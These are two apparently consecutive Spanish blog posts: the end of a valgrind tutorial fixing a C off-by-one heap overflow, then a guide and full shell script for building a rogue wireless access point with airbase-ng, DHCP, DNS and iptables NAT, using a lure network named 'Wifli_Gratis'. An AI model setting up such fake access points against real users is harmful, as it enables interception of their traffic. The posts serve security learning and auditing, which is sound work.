==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DADC: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DA6B: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
==32101==
==32101== ERROR SUMMARY: 29 errors from 5 contexts (suppressed: 13 from 1)
==32101== malloc/free: in use at exit: 0 bytes in 0 blocks.
==32101== malloc/free: 6 allocs, 6 frees, 36 bytes allocated.
==32101== For counts of detected errors, rerun with: -v
==32101== All heap blocks were freed — no leaks are possible.

Según valgrind, tenemos errores en las lineas 11 y 15:

11: p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
15: printf("%s\n",p[i]);

Aunque todo parece estar bien, el error no está en esas líneas, sino que en esas líneas es donde se produce el error. Si se revisan las posiciones del array “p” y los accesos a sus posiciones,  vemos que en la linea 14 estamos accediendo a:

14: p[i][sizeof(p)/sizeof(*p)]='B';

Vamos a verlo de otra manera, reemplazamos “sizeof(p)/sizeof(*p)” por el número ’6′ para hacer el asunto más evidente:

11: p[i]=(char*)calloc(6,sizeof(char));
14: p[i][6]='B';

Se ve claro que la última posición del array ‘p[i]‘ no es 6 sino 5, por tanto al recorrer el array y asignar a cada una de sus posiciones un valor distinto de nulo, incluso en la posición 6 que está fuera del array:

12: for(j=0;j<6;j++)
13:	p[i][j]='a';
14: p[i][6]='B';

La llamada a “printf” fallará al calcular la longitud del array, ya que buscará un carácter nulo fuera de los límites del array, y esto es de lo que nos advierte valgrind. El código correcto en este caso sería:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)-1]=0;
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Por supuesto valgrind no está limitado a los casos que he planteado, a su vez puede cargar varias herramientas a modo de plugins para ayudarnos en el análisis (simulación de memoria caché, gráficos de llamadas, heap profiler, etc.).

Más información sobre valgrind:

http://www.valgrind.org/
http://en.wikipedia.org/wiki/Valgrind

Creando un punto de acceso falso (airbase-ng)

POST ACTUALIZADO: http://opensec.es/2009/10/05/creando-un-punto-de-acceso-falso-ii/

Hasta hace relativamente poco tiempo, una condición necesaria para crear un punto de acceso era que el driver de nuestra tarjeta debía de soportar el modo “master” (ej: chipsets atheros), pero como no todos cumplimos en un determinado momento esta condición, los desarrolladores de la suite “aircrack-ng” están desarrollando una herramienta llamada “airbase-ng”, cuyo propósito es el de poder crear un punto de acceso a partir de una interface de red en modo monitor.

Si visitamos la página de la documentación de la herramienta,  veremos entre otras cosas, que podemos usar esta herramienta tanto para montar un AP para dar conexión a internet, como para realizar auditorías en redes wireless con protección WEP/WPA/WPA2, pero también vemos el siguiente mensaje:

++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++

This functionality will be available in a future release. It is NOT available currently.

++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++
++++++ IMPORTANT ++++++

Esta herramienta no está disponible en la descarga de la versión estable de la suite, pero podemos descargarnos la suite completa desde el CVS de la siguiente manera:

$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install

Repasemos los requisitos necesarios para crear un punto de acceso funcional:

  • Servidor DHCP
  • Servidor DNS

En mi caso, usaré como servidor DHCP “dhcp3-server” y como servidor DNS “bind9″ (en distribuciones basadas en Debian GNU/Linux: apt-get install dhcp3-server bind9).

Hecho esto, vamos a configurar el servidor DHCP (una configuración básica), para ello editamos el archivo “/etc/dhcp3/dhcpd.conf”, de manera que tengamos únicamente las siguientes entradas sin comentar:

ddns-update-style none;
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.33 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

Una vez hecho esto, vamos a crear un punto de acceso sin encriptación, proporcionando acceso a internet a los clientes, con lo que suponiendo:

  • ath0 —> Conectada a internet
  • ath1 —> Modo monitor

Usaremos “ath1″ para crear el AP con airbase-ng, y “ath0″ para dar conexión a los clientes, con lo que procederemos de la siguiente manera:

Creamos el punto de acceso:

blanquito:/# airbase-ng -P -C 2 -c 6 --essid Wifli_Gratis ath1
19:04:40  Created tap interface at0
19:04:40  Trying to set MTU on at0 to 1500
19:04:40  Trying to set MTU on ath1 to 1800
19:04:40  Access Point with BSSID XX:XX:XX:XX:XX:XX started.

Podemos asegurarnos que se ha creado haciendo:

blanquito:/# iwlist ath0 scan | grep ifli
             ESSID: "Wifli_Gratis"

Como vemos, se ha creado una interface virtual llamada “at0″, que será con la que trabajemos de aquí en adelante, ya que de haber creado un AP con cifrado WEP, esta sería la interface que tendría todos los paquetes descifrados, de manera que la levantamos de la siguiente manera:

blanquito:/# ifconfig at0 10.0.0.1 netmask 255.0.0.0 up

Una vez hecho esto, iniciamos el servidor DHCP indicándole el fichero de configuració y la interface de red con la que debe trabajar:

blanquito:/# /etc/init.d/dhcpd3-server stop
blanquito:/# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 2 leases to leases file.
Listening on LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on   LPF/at0/XX:XX:XX:XX:XX:XX/10.0.0/24
Sending on   Socket/fallback/fallback-net

El siguiente paso, es iniciar el servidor DNS para la resolución de nombres:

blanquito:/# /etc/init.d/bind9 restart

Los últimos pasos que vamos a relaizar serán, activar el ip forwarding, y agregar unas reglas a la tabla “nat” de iptables para poder dar acceso a internet a los clientes, por tanto:

blanquito:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
blanquito:/# iptables -t nat -F
blanquito:/# iptables -t nat -A PREROUTING -i ath0 -j REDIRECT
blanquito:/# iptables -t nat -A POSTROUTING -o ath0 -j MASQUERADE

Y con esto ya estará todo listo, tendremos un AP y los clientes tendrán acceso a internet, pero como todos estos pasos son un poco engorrosos, lo mejor es hacerse un script que automatice todo el proceso.

Aquí os pongo el mío, y una nota importante, los parámetros extra que se le pasen al script, los pasará a “airbase-ng”.

#!/bin/sh
#
# Script para crear un punto de acceso usando airbase-ng
#
# Argumentos basicos: interface_conexion interface_monitor ip_gw mascara
#
#

RUTA_WLANCONFIG="/usr/local/bin/wlanconfig" #Solo para crear la interface monitor con chipsets atheros
RUTA_AIRBASE="/usr/local/sbin/airbase-ng"
RUTA_BIND9="/etc/init.d/bind9" #script de inicio
RUTA_DHCPD3S="/etc/init.d/dhcp3-server" #script de inicio
RUTA_DHCPD3="/usr/sbin/dhcpd3"
RUTA_CFG_DHCPD3="/etc/dhcp3/dhcpd.conf"
RUTA_SYSCTL="/sbin/sysctl"
RUTA_IPTABLES="/sbin/iptables"

OPC_CREAR="-m"

clear
echo "###############################"
echo "#           SCRIWAP           #"
echo "#=============================#"
echo "#  Chema Garcia (aka sch3m4)  #"
echo "#      sch3m4@opensec.es      #"
echo "#      http://opensec.es      #"
echo "###############################"
echo ""

if [ "$UID" -ne 0 ]
then
	echo "[!] Has de ser root!"
	exit 0
fi

if [ "$#" -lt 3 ]
then
	echo "Uso: " $0 "      "
	echo ""
	echo "Ej:  " $0 " eth0 wlan0 192.168.1.1 255.255.255.0"
	echo ""
	echo "Opciones:"
	echo "         -m ---&gt; Crear interface monitor (Chipsets Atheros)"
	echo ""
	exit 0
fi

#comienzo de parametros de airbase
num=5

#comprobamos si debemos crear la interface
if [ $# -ge 5 ] &amp;&amp; [ "$5" = "$OPC_CREAR" ]
then
	let num=$num+1
	echo "[+] Creando interface $2"
	$RUTA_WLANCONFIG $2 destroy 2&gt;/dev/null
	$RUTA_WLANCONFIG $2 create wlanmode monitor wlandev wifi0 &gt;/dev/null
fi
iface=$2
ip=$3
mascara=$4
var=$#
if [ $num -eq 5 ]
then
	while [ $# -gt 0 ] &amp;&amp; [ $num -le $var ];do
		param="$param $5"
		shift
		num=$(($num+1))
	done
else
        while [ $# -gt 0 ] &amp;&amp; [ $num -le $var ];do
                param="$param $6"
		shift
                num=$(($num+1))
        done
fi
param="$param $iface"

#Activamos el IP Forwarding
echo "[+] Activando IP Forwarding"
$RUTA_SYSCTL net.ipv4.ip_forward=1 &gt;/dev/null

#Limpiamos la tabla 'nat' de iptables y agregamos nuestras reglas
echo "[+] Limpiando tabla 'nat' de iptables"
$RUTA_IPTABLES -t nat -F

echo "[+] Agregando reglas PREROUTING y POSTROUTING"
$RUTA_IPTABLES -t nat -A PREROUTING -i $iface -j REDIRECT
$RUTA_IPTABLES -t nat -A POSTROUTING -o $iface -j MASQUERADE

echo "[+] Creando punto de acceso"
rmmod tun 2&gt;/dev/null
xterm -e $RUTA_AIRBASE $param &amp;
sleep 3

echo "[+] Levantando interface at0"
ifconfig at0 $ip netmask $mascara up

echo "[+] Reiniciando servidor DHCP"
$RUTA_DHCPD3S stop &gt;/dev/null
$RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 at0 2&gt;/dev/null

echo "[+] Reiniciando servidor DNS"
$RUTA_BIND9 restart &gt;/dev/null

echo ""
echo "[+] Finalizado!"
echo ""

Para usar este script en el ejemplo anterior, sería algo así:

./ap.sh ath0 ath1 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli_Gratis

En el foro de seguridadwireless hay un post sobre cómo hacer balanceo de carga entre redes: http://foro.seguridadwireless.net/zona-linux/balanceo-de-carga-en-linux/